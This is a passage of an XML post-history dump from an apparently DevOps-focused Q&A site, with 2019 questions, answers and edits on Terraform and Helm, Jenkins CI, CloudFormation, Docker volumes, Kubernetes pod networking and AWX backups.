  <row Id="21267" PostHistoryTypeId="2" PostId="6698" RevisionGUID="86f55c35-3df3-4147-91a6-ee69ccb6b169" CreationDate="2019-03-26T13:14:12.587" UserId="2453" Text="I need to be able to generate disposable kubernetes environments using `terraform`.  These environments should use `helm` for application deployment and ideally have `tiller` installed during the `terraform` resource provision.&#xD;&#xA;&#xD;&#xA;What is the best way of automating this?  Should I &quot;copy&quot; the deployment generated by `helm init` and translate it to `terraform` lingo?  Is there any other solution more elegant than this?&#xD;&#xA;&#xD;&#xA;I tried to explicitly declare the `terraform`'s `helm` provider block, but without any real chart deployment it does not bother into installing the `tiller` service. " ContentLicense="CC BY-SA 4.0" />
  <row Id="21268" PostHistoryTypeId="1" PostId="6698" RevisionGUID="86f55c35-3df3-4147-91a6-ee69ccb6b169" CreationDate="2019-03-26T13:14:12.587" UserId="2453" Text="Automate Helm's tiller installation with Terraform" ContentLicense="CC BY-SA 4.0" />
  <row Id="21269" PostHistoryTypeId="3" PostId="6698" RevisionGUID="86f55c35-3df3-4147-91a6-ee69ccb6b169" CreationDate="2019-03-26T13:14:12.587" UserId="2453" Text="&lt;kubernetes&gt;&lt;terraform&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21271" PostHistoryTypeId="2" PostId="6699" RevisionGUID="0b74e6af-9f28-4e91-8b39-cea97c46175f" CreationDate="2019-03-26T14:19:20.440" UserId="6258" Text="One typical solution is to add a deployment task to your Travis CI pipeline.  This task may, for example, run a command on your Ubuntu VPS to pull and run the `:latest` image.  You could use any number of techniques to accomplish this: a CM tool like Ansible or Chef, a Bash script or simply SSH.  &#xD;&#xA;&#xD;&#xA;Travis CI documentation has some information on deployment providers: https://docs.travis-ci.com/user/deployment/&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21272" PostHistoryTypeId="2" PostId="6700" RevisionGUID="3dd3d8ab-a6f6-4bd2-98a6-c113a335012d" CreationDate="2019-03-26T14:58:46.270" UserId="13087" Text="i have a conceptual doubt about CI using jenkins. I know jenkins can help me to integrate all code built by developers. So the question is: This is not already resolved with github (or other git tool)?. &#xD;&#xA;I can run &quot;git stash&quot;, &quot;git pull origin master&quot;, &quot;git stash apply&quot; to integrate other code with my code.&#xD;&#xA;&#xD;&#xA;So i think i am missundersantding something about continuous integration. Can you clear my mind?&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="21273" PostHistoryTypeId="1" PostId="6700" RevisionGUID="3dd3d8ab-a6f6-4bd2-98a6-c113a335012d" CreationDate="2019-03-26T14:58:46.270" UserId="13087" Text="Missunderstanding CI concept" ContentLicense="CC BY-SA 4.0" />
  <row Id="21274" PostHistoryTypeId="3" PostId="6700" RevisionGUID="3dd3d8ab-a6f6-4bd2-98a6-c113a335012d" CreationDate="2019-03-26T14:58:46.270" UserId="13087" Text="&lt;continuous-integration&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21275" PostHistoryTypeId="2" PostId="6701" RevisionGUID="71f23a4e-da26-4319-91f5-639fcc22d1c6" CreationDate="2019-03-26T15:37:42.077" UserId="6258" Text="Merging code changes is definitely handled by Git and its tools.  But Continuous Integration also includes **testing** and **building** the software. The development teams are provided with constant feedback on the status of their branch(es) and whether they are failing tests, builds, etc.&#xD;&#xA;&#xD;&#xA;Jenkins provides the tools to enable this feedback.  By creating a CI &quot;pipeline&quot; in Jenkins the developer gain much better insight into the build, beyond what simple Git merges and stashes provide." ContentLicense="CC BY-SA 4.0" />
  <row Id="21276" PostHistoryTypeId="2" PostId="6702" RevisionGUID="5f50f48c-9352-4d61-a15f-08f87343a9fe" CreationDate="2019-03-26T15:38:48.857" UserId="13089" Text="Continuous Integration with Jenkins would handle code integration but that would not be its only role. This is what I think you are missing.&#xD;&#xA;&#xD;&#xA;For continuous integration, you would also run your testing stack and product building steps. However, if you don't have testing (I would highly recommend it) and you have no need for a building stage, git would do just fine." ContentLicense="CC BY-SA 4.0" />
  <row Id="21277" PostHistoryTypeId="5" PostId="6702" RevisionGUID="7cedfe01-d2b6-4742-bef8-fbc1342a6dda" CreationDate="2019-03-26T15:43:55.773" UserId="13089" Comment="added 8 characters in body" Text="Continuous Integration with Jenkins would handle code integration but that would not be its only role. This is what I think you are missing.&#xD;&#xA;&#xD;&#xA;For continuous integration, you would also run your **testing** stack and **product building** steps. However, if you don't have testing (I would highly recommend it) and you have no need for a building stage, git would do just fine." ContentLicense="CC BY-SA 4.0" />
  <row Id="21278" PostHistoryTypeId="2" PostId="6703" RevisionGUID="34cdc4c9-22bf-481b-b62e-6e364e0daa46" CreationDate="2019-03-26T15:46:55.683" UserId="13087" Text="I would like to know the difference between &#xD;&#xA;- AWS cloudformation &#xD;&#xA;- Make AWS cloudformation template through Ansible (https://docs.ansible.com/ansible/latest/modules/cloudformation_module.html)&#xD;&#xA;&#xD;&#xA;I dont know why would i use Ansible if i already have AWs cloudformation" ContentLicense="CC BY-SA 4.0" />
  <row Id="21279" PostHistoryTypeId="1" PostId="6703" RevisionGUID="34cdc4c9-22bf-481b-b62e-6e364e0daa46" CreationDate="2019-03-26T15:46:55.683" UserId="13087" Text="Ansible cloudformation vs cloudformation" ContentLicense="CC BY-SA 4.0" />
  <row Id="21280" PostHistoryTypeId="3" PostId="6703" RevisionGUID="34cdc4c9-22bf-481b-b62e-6e364e0daa46" CreationDate="2019-03-26T15:46:55.683" UserId="13087" Text="&lt;ansible&gt;&lt;infrastructure-as-code&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21287" PostHistoryTypeId="2" PostId="6706" RevisionGUID="5624821f-1e15-4fe5-ae5b-3041e8dc9331" CreationDate="2019-03-27T05:41:51.930" UserId="707" Text="To extend others' answers, CI allows to have a &quot;single place of truth&quot; how the software builds and runs in terms of system environment dependencies.&#xD;&#xA;&#xD;&#xA;With the rise of infrastructure as code you could of course say okay I have git to put my Dockerfiles for example but this makes somehow no sense.&#xD;&#xA;&#xD;&#xA;Many open source projects on GitHub verify validity of pull requests through CI untegration and do double, even triple checks, that is even just one CI system appears not enough to achive high quality." ContentLicense="CC BY-SA 4.0" />
  <row Id="21288" PostHistoryTypeId="2" PostId="6707" RevisionGUID="79349763-1a15-4911-a1a3-67e83b41827e" CreationDate="2019-03-27T05:46:08.510" UserId="707" Text="This is actually quite easy, uf you know how much lost means the sysrem being down. &#xD;&#xA;That is if you take ebay or Amazon they would have considerable loss even for one second of downtime in year so they strive to have a 99,9999.. reliability.&#xD;&#xA;&#xD;&#xA;So this is not about 100% but how many nines does it make sense to invest for to come closer to 100%. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21289" PostHistoryTypeId="2" PostId="6708" RevisionGUID="76356790-918b-404b-be23-b6ae22c23f63" CreationDate="2019-03-27T07:29:54.363" UserId="13102" Text="I'm currently experimenting with docker with the potential of using it in future professional projects and am a bit confused about best practices.&#xD;&#xA;&#xD;&#xA;In my experimental setup I have three docker containers, all currently running on the same server, though that might change in future projects:&#xD;&#xA;- Git server (Gitea)&#xD;&#xA;- Jenkins server&#xD;&#xA;- Web app (Tomcat)&#xD;&#xA;&#xD;&#xA;Pulling the source code from git and building the war is no problem. Now I'm running into difficulties actually deploying it.&#xD;&#xA;&#xD;&#xA;My current solution:&#xD;&#xA;I've modified the tomcat docker so I can deploy the resulting war to the tomcat docker and restart it inside the docker. I've read that this is bad practice and I understand the reasoning, so I need another solution.&#xD;&#xA;&#xD;&#xA;Building the docker container from another docker container is also said to be bad practice and I also understand the reasoning for that, so that's a no-go, too.&#xD;&#xA;&#xD;&#xA;An idea is to ssh to the host system and then either deploy the webapp to a folder shared with the tomcat container or rebuild the container. That would probably work and be future-proof if the tomcat docker moves to a different host, but it doesn't feel docker-like from my limited docker understanding.&#xD;&#xA;&#xD;&#xA;The last idea is to make it so the tomcat docker container builds the webapp itself, i.e. does the git clone, mvn package and so on itself. That still needs to be triggered, possibly by an ssh connection to the host.&#xD;&#xA;&#xD;&#xA;In both those cases I'd need to expose a docker-capable user to remote login, which I don't really want to do.&#xD;&#xA;&#xD;&#xA;I can only find information on bad practice, not on how to actually solve this specific problem in a good way. What is the actual correct way to do this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21290" PostHistoryTypeId="1" PostId="6708" RevisionGUID="76356790-918b-404b-be23-b6ae22c23f63" CreationDate="2019-03-27T07:29:54.363" UserId="13102" Text="Best practice for Jenkins docker to deploy to other container" ContentLicense="CC BY-SA 4.0" />
  <row Id="21291" PostHistoryTypeId="3" PostId="6708" RevisionGUID="76356790-918b-404b-be23-b6ae22c23f63" CreationDate="2019-03-27T07:29:54.363" UserId="13102" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21292" PostHistoryTypeId="2" PostId="6709" RevisionGUID="5b1a14ac-5c8d-4504-9319-4a4b80c516d5" CreationDate="2019-03-27T09:41:54.997" UserId="13073" Text="I have a troubles with network access from pods. I had instaled new Kubernetes cluster with flannel-network plugin&#xD;&#xA;Checking healh of server - good.&#xD;&#xA;&#xD;&#xA;had tryed to check network via busybox (**#kubectl run -it --rm --restart=Never busybox -n microservices --image=busybox sh**)&#xD;&#xA;&#xD;&#xA;**ping 8.8.8.8 - drop**,&#xD;&#xA;&#xD;&#xA;BUT &#xD;&#xA;&#xD;&#xA;**ping 8.8.8.8 - success** from **#kubectl exec -it kube-flannel-ds-amd64-____ -n kube-system**! (checking network inside flannel pod)&#xD;&#xA;&#xD;&#xA;What can it be? &#xD;&#xA;I think it can be something with flannel or docker network configuration.. But i did not find information about it..&#xD;&#xA;&#xD;&#xA;I tryed to change iptable configs, reinit cluster, create and changing docker network interfaces..&#xD;&#xA;&#xD;&#xA;I have no more idea what can i do more..&#xD;&#xA;&#xD;&#xA;P.S. There is the same server installed before me and their settings and installation procedure are identical.And there connection is good." ContentLicense="CC BY-SA 4.0" />
  <row Id="21293" PostHistoryTypeId="1" PostId="6709" RevisionGUID="5b1a14ac-5c8d-4504-9319-4a4b80c516d5" CreationDate="2019-03-27T09:41:54.997" UserId="13073" Text="External access to internet from Kubernetes Pods" ContentLicense="CC BY-SA 4.0" />
  <row Id="21294" PostHistoryTypeId="3" PostId="6709" RevisionGUID="5b1a14ac-5c8d-4504-9319-4a4b80c516d5" CreationDate="2019-03-27T09:41:54.997" UserId="13073" Text="&lt;kubernetes&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21296" PostHistoryTypeId="5" PostId="6700" RevisionGUID="a64821bd-465b-42b0-b5a4-811a856db541" CreationDate="2019-03-27T10:44:27.980" UserId="40" Comment="deleted 10 characters in body" Text="i have a conceptual doubt about CI using jenkins. I know jenkins can help me to integrate all code built by developers. So the question is: This is not already resolved with github (or other git tool)?. &#xD;&#xA;I can run &quot;git stash&quot;, &quot;git pull origin master&quot;, &quot;git stash apply&quot; to integrate other code with my code.&#xD;&#xA;&#xD;&#xA;So I think I am missundersantding something about continuous integration. Can you clear my mind?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21297" PostHistoryTypeId="2" PostId="6710" RevisionGUID="cf99e19d-0fa2-4e96-8473-6792c3ea41af" CreationDate="2019-03-27T11:25:16.190" UserId="47" Text="There are 2 aspects of the software integration (be it continuous or not):&#xD;&#xA;&#xD;&#xA;- performing the technical steps to integrate multiple changes - which is what you're referring to in the git-based environments&#xD;&#xA;- checking the quality of the integrated code - in the traditional CI methodology this is what Jenkins and other CI tools do&#xD;&#xA;&#xD;&#xA;Jenkins won't technically do the integration steps itself, AFAIK it is not capable of doing that. Its operation is only triggered **after** the technical integration steps are completed, typically by the developers (in your case after you `git commit` and `git push` your changes to origin).&#xD;&#xA;&#xD;&#xA;There is a different kind of CI tools out there, the gating-commits ones, which actually perform the technical integration, run the QA verifications on the result and, only on success of the verification, they also merge the result into origin. They effectively do the entire software integration work and are thus capable of guaranteeing no QA regressions in the end result." ContentLicense="CC BY-SA 4.0" />
  <row Id="21298" PostHistoryTypeId="2" PostId="6711" RevisionGUID="cc854f88-dbfe-4457-87cc-6bfebf406576" CreationDate="2019-03-27T11:56:16.190" UserId="13105" Text="I have a container which is based on tomcat image and I have mounted 'webapps' folder to hosted machine directory '/app/webapps'. Now for some updations I want to remove this webapps folder from inside the container but when I execute command: `rm -rf webapps` below error is produced:&#xD;&#xA;&#xD;&#xA;&gt; rm: cannot remove 'webapps': Device or resource busy&#xD;&#xA;&#xD;&#xA;So I want to know is it possible to remove mounted directory by executing a Linux command from inside the container or not?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21299" PostHistoryTypeId="1" PostId="6711" RevisionGUID="cc854f88-dbfe-4457-87cc-6bfebf406576" CreationDate="2019-03-27T11:56:16.190" UserId="13105" Text="Is it allowed to remove mounted directory from inside Docker container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21300" PostHistoryTypeId="3" PostId="6711" RevisionGUID="cc854f88-dbfe-4457-87cc-6bfebf406576" CreationDate="2019-03-27T11:56:16.190" UserId="13105" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21301" PostHistoryTypeId="2" PostId="6712" RevisionGUID="c6151b84-c3ee-46d4-870d-4dedfa40b5b2" CreationDate="2019-03-27T13:36:09.520" UserId="13108" Text="it sounds as though the concept of &quot;burst limits&quot; may apply here. If high reliability is needed during foreseen special events of a generally similar duration, it probably is also needed during emerging events too. I suggest broad timescale SLOs (e.g. 99.9% successful responses per month) plus sliding SLOs based on demand, or fixed-limit SLOs instead of rates. An example might be, 99.95% successful responses at 1000qps, 99.99% success at 5000qps. Or, 99.9% successful responses, and no more than 5 failures per second regardless of load." ContentLicense="CC BY-SA 4.0" />
  <row Id="21302" PostHistoryTypeId="2" PostId="6713" RevisionGUID="fb3bc684-51f9-4942-abb6-7f221da8d392" CreationDate="2019-03-27T17:38:48.890" UserId="13112" Text=" 1. Yes, because Azure Pipelines can do what Jenkins does.  However, you don't have to throw the baby out with the bathwater.  Microsoft continues to position their platforms such that integrations can occur with existing installations of just about anything.  Many orgs have huge investments in tooling that is difficult to change.  Rather than taking an all-or-nothing stance, Microsoft is embracing standards and a bring-your-own mentality, giving you ultimate choice as to how you want to implement the tools.&#xD;&#xA;&#xD;&#xA; 2. The agents technically are your pipeline as the tasks execute on the agents targeted within the pipeline.  All you are configuring within the portal are the steps the pipeline will execute.  The agents download tools/extensions necessary to execute the tasks.  In addition, with the new YAML pipelines, the pipelines are defined within your code repos.  As far as hosting is concerned, you can host Azure DevOps Server entirely on premise, within any cloud provider, or a combination of Azure VMs and Azure SQL.&#xD;&#xA;&#xD;&#xA; 3. Generic Git repositories are [supported in Azure DevOps Services using the classic editor or both YAML and classic editor if using Azure DevOps Server][1] (on-prem) at the moment.  You can add [GitLab repository integration][2] by installing the extension.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/pipelines/repos/?view=azure-devops&#xD;&#xA;  [2]: https://marketplace.visualstudio.com/items?itemName=onlyutkarsh.gitlab-integration" ContentLicense="CC BY-SA 4.0" />
  <row Id="21303" PostHistoryTypeId="2" PostId="6714" RevisionGUID="65fdb883-91a6-4da8-825f-5100d384c00f" CreationDate="2019-03-27T17:50:10.083" UserId="13089" Text="You wouldn't need to use Ansible for AWS cloudformation if you are fine with just using AWS cloudformation.&#xD;&#xA;&#xD;&#xA;Ansible integrated AWS cloudformation so that you can convert your local Ansible files into an AWS cloudformation easily.&#xD;&#xA;&#xD;&#xA;I'd suggest using Ansible since it provides a great way to test your stacks locally and then you would make the conversion to AWS cloudformation when ready. This is usage dependent however. " ContentLicense="CC BY-SA 4.0" />
  <row Id="21304" PostHistoryTypeId="2" PostId="6715" RevisionGUID="aa9d8d37-c532-43f9-b05d-1f160e889d6b" CreationDate="2019-03-27T17:55:29.167" UserId="13112" Text="This is an indication that someone removed a field from work item configuration that was represented by `25`.  It's more of an issue of clean-up not being done when fields are removed.  See more about [this error][1] on Microsoft's Developer Community. &#xD;&#xA;&#xD;&#xA;This [other item in the community][2] suggests a different problem when using a particular extension and a fix has been supplied.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developercommunity.visualstudio.com/content/problem/260665/tf51535-in-client-tf400645-in-web-after-deleting-a.html&#xD;&#xA;  [2]: https://developercommunity.visualstudio.com/content/problem/476709/clone-test-plan-fails.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="21310" PostHistoryTypeId="2" PostId="6717" RevisionGUID="3dcc7c74-9e61-45de-8a00-c182a8cb048a" CreationDate="2019-03-27T21:34:47.830" UserId="13089" Text="No, you sadly can't remove a volume that is in use by a container which is stated under 'Extended Description' here: https://docs.docker.com/engine/reference/commandline/volume_rm/&#xD;&#xA;&#xD;&#xA;However, I'd suggest using docker for its strength and restarting the docker container after updating the directory externally.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21311" PostHistoryTypeId="2" PostId="6718" RevisionGUID="8cb7f079-0846-4bba-b2c8-eafdbc602c53" CreationDate="2019-03-27T23:04:38.003" UserId="3" Text="The purpose of assume role policy document is to [grants an IAM entity permission to assume a role](https://docs.aws.amazon.com/cli/latest/reference/iam/update-assume-role-policy.html). It is also known as a &quot;role trust policy&quot;.&#xD;&#xA;&#xD;&#xA;In other words, for given permissions you set, it _allow users from certain AWS account to assume this role and access that account_.&#xD;&#xA;&#xD;&#xA;It is recommended that you update the role trust policy to restrict access to only authorized users, otherwise any AWS account could assume the role and access that account.&#xD;&#xA;&#xD;&#xA;By [specifying _Principal_](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_principal.html#Principal_specifying) using [Amazon Resource Name (ARN)](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-arns) of the AWS account, IAM user, IAM role, federated user, or assumed-role user, you allow or deny access to assume that role ([`sts:AssumeRole`](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html))." ContentLicense="CC BY-SA 4.0" />
  <row Id="21312" PostHistoryTypeId="50" PostId="4290" RevisionGUID="b06e07fe-ee9c-4334-b758-1ec97d085e28" CreationDate="2019-03-28T00:52:31.343" UserId="-1" />
  <row Id="21313" PostHistoryTypeId="50" PostId="6183" RevisionGUID="86ffcfee-a625-4e07-8e88-a713ae50d72b" CreationDate="2019-03-28T02:26:55.477" UserId="-1" />
  <row Id="21314" PostHistoryTypeId="50" PostId="6244" RevisionGUID="9aacd17e-0251-45c2-ae5a-2a4b21e77d61" CreationDate="2019-03-28T08:01:04.580" UserId="-1" />
  <row Id="21315" PostHistoryTypeId="2" PostId="6719" RevisionGUID="056797ea-029b-4300-8f31-584be77c4a39" CreationDate="2019-03-28T08:03:09.063" UserId="707" Text="Is DevOps methodologically anyhow different or even applicable in the academia field if used in research and science projects?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21316" PostHistoryTypeId="1" PostId="6719" RevisionGUID="056797ea-029b-4300-8f31-584be77c4a39" CreationDate="2019-03-28T08:03:09.063" UserId="707" Text="DevOps in research and science projects?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21317" PostHistoryTypeId="3" PostId="6719" RevisionGUID="056797ea-029b-4300-8f31-584be77c4a39" CreationDate="2019-03-28T08:03:09.063" UserId="707" Text="&lt;culture&gt;&lt;science&gt;&lt;academia&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21318" PostHistoryTypeId="2" PostId="6720" RevisionGUID="b533b43c-6b3c-4f59-b428-a7668a7c173c" CreationDate="2019-03-28T15:46:18.780" UserId="13112" Text=" 1. Depends on whether or not these small APIs change together or separately (meaning you may have code changes for only 1 API and be able to deploy it distinctly vs. deploy it all together).  If you may have distinct deploy needs, set up separate pipelines.&#xD;&#xA;&#xD;&#xA; 2. There are extensions specifically for [deploying IIS applications][1] that give you all of the features necessary to properly deploy these sites and [control other aspects of IIS][2].&#xD;&#xA;&#xD;&#xA; 3. There are plenty of [extensions][3] and built-in features for transforming configuration files or modifying them using variables from within your pipeline.  In addition, each environment can have specific variables so that you can configure the same named variable, but change its value per environment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/pipelines/tasks/deploy/iis-web-app-deployment-on-machine-group?view=azure-devops&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/pipelines/tasks/deploy/iis-web-app-management-on-machine-group?view=azure-devops&#xD;&#xA;  [3]: https://marketplace.visualstudio.com/search?target=AzureDevOps&amp;category=Azure%20Pipelines&amp;sortBy=Downloads" ContentLicense="CC BY-SA 4.0" />
  <row Id="21319" PostHistoryTypeId="50" PostId="6484" RevisionGUID="3b5f9bef-d9d1-4690-a85b-6ed0d2584d9d" CreationDate="2019-03-28T16:01:35.613" UserId="-1" />
  <row Id="21320" PostHistoryTypeId="5" PostId="6707" RevisionGUID="984a00ae-b407-4ee9-aea2-878d40d994e1" CreationDate="2019-03-28T17:05:08.210" UserId="13136" Comment="corrected spelling of: sysrem to system. General edits" Text="This is actually quite easy, if you know how much lost means the system being down. &#xD;&#xA;That is if you take ebay or Amazon they would have considerable loss even for one second of downtime in a year so they strive to have a 99.9999.. reliability/uptime.&#xD;&#xA;&#xD;&#xA;So this is not about 100% but how many nines does it make sense to invest for you to come close to 100%. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21321" PostHistoryTypeId="24" PostId="6707" RevisionGUID="984a00ae-b407-4ee9-aea2-878d40d994e1" CreationDate="2019-03-28T17:05:08.210" Comment="Proposed by 13136 approved by -1 edit id of 959" ContentLicense="CC BY-SA 4.0" />
  <row Id="21322" PostHistoryTypeId="5" PostId="6707" RevisionGUID="10a10b41-9728-4541-b8df-1a5232095755" CreationDate="2019-03-28T17:05:08.210" UserId="40" Comment="added 3 characters in body" Text="This is actually quite easy, if you know how much lost means the system being down.&#xD;&#xA;&#xD;&#xA;That is if you take eBay or Amazon they would have considerable loss even for one second of downtime in a year. So they strive to have a 99.9999... reliability/uptime.&#xD;&#xA;&#xD;&#xA;So this is not about 100% but how many nines does it make sense to invest for you to come close to 100%. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21323" PostHistoryTypeId="2" PostId="6721" RevisionGUID="78541232-d313-423d-adfe-8e27c38fdbe6" CreationDate="2019-03-28T17:07:34.297" UserId="4175" Text="_Disclosure - I have not worked in proper (&quot;Academia&quot;) research and science projects._&#xD;&#xA;&#xD;&#xA;DevOps should be just fine for researchers. As in the commercial world, the interesting bit will be to pick the line where the DevOps teams start and where the lower level base ops begins. This is not a contradiction. You may still have a dedicated ops team which provides the hardware, networking, OS, container management (Kubernetes ect. if you have something like this) and so on.&#xD;&#xA;&#xD;&#xA;The most crucial part is that these ops guys now provide the *base* for the other teams. This means there is *not* a hand-over of software between the other teams and ops. Ops has the responsibility to provide the DevOps teams with an infrastructure (or platform, whatever you may call it in your case) so they can do their slightly higher-level stuff in a self-sufficient manner. The base ops team would do the hard lifting (i.e., IAM, license stuff, security issues etc.).&#xD;&#xA;&#xD;&#xA;There is a plethora of possible ways to structure this. E.g., if you are in a non-techy research field (say, statistics, where people know `R` but nothing much else), you will have a different structure than if your researchers are hardcore coders/OS experts (say, the VR department where researchers program GPUs etc.).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21324" PostHistoryTypeId="5" PostId="6709" RevisionGUID="133c7701-a2de-4aea-a744-8090bb3b16b1" CreationDate="2019-03-28T20:12:53.583" UserId="13139" Comment="Corrected speeling, improved formatting" Text="I'm having troubles with network access from pods. I had installed new Kubernetes cluster with flannel-network plugin,&#xD;&#xA;Checking the health of server - good.&#xD;&#xA;&#xD;&#xA;I tried to check network via busybox: `kubectl run -it --rm --restart=Never busybox -n microservices --image=busybox sh`, then `ping 8.8.8.8` results in drop.&#xD;&#xA;&#xD;&#xA;But `ping 8.8.8.8` succeeded when executed from `kubectl exec -it kube-flannel-ds-amd64-xxxx -n kube-system` (checking network inside flannel pod).&#xD;&#xA;&#xD;&#xA;What can it be? &#xD;&#xA;I think it can be something with flannel or docker network configuration. But i did not find information about it.&#xD;&#xA;&#xD;&#xA;I tried to change iptables configs, reinit cluster, create and changing docker network interfaces.&#xD;&#xA;&#xD;&#xA;I have no more ideas about what can I do.&#xD;&#xA;&#xD;&#xA;P.S. There is the same server installed before me and their settings and installation procedure are identical. And their connection is good." ContentLicense="CC BY-SA 4.0" />
  <row Id="21325" PostHistoryTypeId="24" PostId="6709" RevisionGUID="133c7701-a2de-4aea-a744-8090bb3b16b1" CreationDate="2019-03-28T20:12:53.583" Comment="Proposed by 13139 approved by -1 edit id of 960" ContentLicense="CC BY-SA 4.0" />
  <row Id="21326" PostHistoryTypeId="5" PostId="6709" RevisionGUID="29111933-0699-4f33-bf75-113e77d0e2eb" CreationDate="2019-03-28T20:12:53.583" UserId="40" Comment="deleted 5 characters in body" Text="I'm having troubles with network access from pods. I had installed new Kubernetes cluster with flannel-network plugin,&#xD;&#xA;Checking the health of server - good.&#xD;&#xA;&#xD;&#xA;I tried to check network via busybox: `kubectl run -it --rm --restart=Never busybox -n microservices --image=busybox sh`, then `ping 8.8.8.8` results in drop.&#xD;&#xA;&#xD;&#xA;But `ping 8.8.8.8` succeeded when executed from `kubectl exec -it kube-flannel-ds-amd64-xxxx -n kube-system` (checking network inside flannel pod).&#xD;&#xA;&#xD;&#xA;What can it be? &#xD;&#xA;I think it can be something with flannel or docker network configuration. But i did not find information about it.&#xD;&#xA;&#xD;&#xA;I tried to change iptables configs, reinit cluster, create and changing docker network interfaces.&#xD;&#xA;&#xD;&#xA;I have no more ideas, what can I do?&#xD;&#xA;&#xD;&#xA;P.S. There is the same server installed before me and their settings and installation procedure are identical. And their connection is good." ContentLicense="CC BY-SA 4.0" />
  <row Id="21327" PostHistoryTypeId="2" PostId="6722" RevisionGUID="d9b64e5f-bded-4247-ab4a-b651e9f29313" CreationDate="2019-03-28T20:22:21.960" UserId="13111" Text="Your molecule run is failing in a very early stage, when it first tries to delete a possibly existing container before starting everything over.&#xD;&#xA;&#xD;&#xA;Since you have a default configuration and your make a normal run of molecule, there is absolutely no valuable output in your log.&#xD;&#xA;&#xD;&#xA;You have to run molecule in `--debug` mode to get something usable. And I'd bet a case of champagne that the error you will see poping out is that ansible is not able to find `docker or docker-py`.&#xD;&#xA;&#xD;&#xA;If I'm right, your solution will then be `pip install docker`" ContentLicense="CC BY-SA 4.0" />
  <row Id="21328" PostHistoryTypeId="2" PostId="6723" RevisionGUID="6433466e-4bd4-46d8-97a4-ff9731c2aca1" CreationDate="2019-03-28T21:09:29.093" UserId="13111" Text="All you need is a backup of the postgres database and the projects (to be safe but they should be rebuildable by pulling them again from your VCS in most cases).&#xD;&#xA;&#xD;&#xA; * Exporting an ovf of you full vm is really an overkill IMHO.&#xD;&#xA; * Copying the volumes (pgdata and projects) is by far the simplest solution (the one I actually use). You simply have to put the folders back in place, and `docker-compose up -d` the correct version and you are set. **But** to make sure your backup is consistent, **you need to stop AWX before copying the dirs**, especially for postgres. &#xD;&#xA; * Dumping the postgres database and copying the projects will let you do a backup while AWX is running. For your recovery, you will have to first pop-up a posgres container and reinject the dump before starting all the other containers.&#xD;&#xA;&#xD;&#xA;Keep in mind that AWX is the dev version of Tower. As such, there is no real &quot;recommendation&quot; for backups. So the above explanation simply reflect my own experience with AWX. The commercial Tower version embarks the backup in it's deployment playbook. I have never played with it.&#xD;&#xA;&#xD;&#xA;If you did not experienced with an AWX upgrade yet, you should be aware that they are sometimes working but can be a real pain (export from old version / import to new version / re-set all the user passwords and jobs credentials). So a backup to quickly rollback when testing the upgrade is _vital_ in this case.&#xD;&#xA;&#xD;&#xA;Hope this will help you make a wise choice ;)" ContentLicense="CC BY-SA 4.0" />
  <row Id="21329" PostHistoryTypeId="2" PostId="6724" RevisionGUID="abfb4965-f9c9-4498-a625-abe06d55f4a6" CreationDate="2019-03-28T21:19:54.727" UserId="10599" Text="Where you say:&#xA;&#xA;&gt; Building the docker container from another docker container is also&#xA;&gt; said to be bad practice and I also understand the reasoning for that,&#xA;&gt; so that's a no-go, too.&#xA;&#xA;Perhaps there are bad ways of doing that but it can be a solid pattern. By way of example if you use openshift Kubernetes it runs [s2i][1] as builder images on your cluster. s2i checks out your code from git, compiles it, and pushes it to a new layer in your docker repo. It has an incremental flag where it will tar up your library deps folders at the end of a build and store as a docker layer. Then the next time you build it goes a clean checkout then untars the libraries from the last build. That speeds up the next build a lot as it has the local maven cache from the last build. It so means the s2i build container can be launched on a different host in the cluster at each execution and it just connects to git and the central docker registry it does a fast repeatable build. There are community supported s2i images for php, node.js, Java etc. I recall that the java s2i will run a maven build with the “openshift” profile and expects your to copy the built WAR to “$HOME/deployments” then it runs it with wildfly. &#xA;&#xA;In your case If you are using Jenkins I suggest you take advantage that it supports building docker images. Add a docker pipeline step to create your image and push it to your chosen registry. Enterprises that use Jenkins to build and Nexus for storing JARs and WARs are now using Nexus as their enterprise Docker registry. They can stick with Jenkins and Nexus and simply reconfiguration things to move into th world of containers. &#xA;&#xA;I should also point out that you can be more “microservice-like” by skipping installing tomcat. You can use maven jetty plugin or maven tomcat plugin to just run the code with “mvn jetty:run” or “mvn tomcat7:run”. You can set a full blown config file for the servlet container via the plugins. Maven let's your set whatever jvm options you want. (note: after Tomcat 7 there doesn't seem to be support for this modern approach see the next paragraph where the mainstream now uses Jetty for this). &#xA;&#xA;If you like spring you can use spring boot to build an excutable JAR that runs your webapp. The JAR will be large as it has everything to run the webapp and the 